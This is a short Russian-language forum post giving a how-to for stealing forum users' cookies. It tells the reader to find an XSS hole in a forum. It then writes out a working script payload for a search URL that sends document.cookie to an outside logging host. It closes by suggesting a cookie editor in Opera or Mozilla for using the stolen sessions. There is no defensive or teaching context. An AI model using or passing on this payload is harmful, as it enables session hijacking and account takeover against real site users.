Ищи XSS в форуме. Потом юзай свой сниффер.
Например ты нашел XSS в www.site.com/search=И здесь сниффер. То есть:
www.site.com/search=<script>img = new Image(); img.src = "http://s.netsec.ru/LOGIN?"+document.cookie;</script>
У мну все работает.
Расшифровывать в опере или в мозиле при помощи cookie editor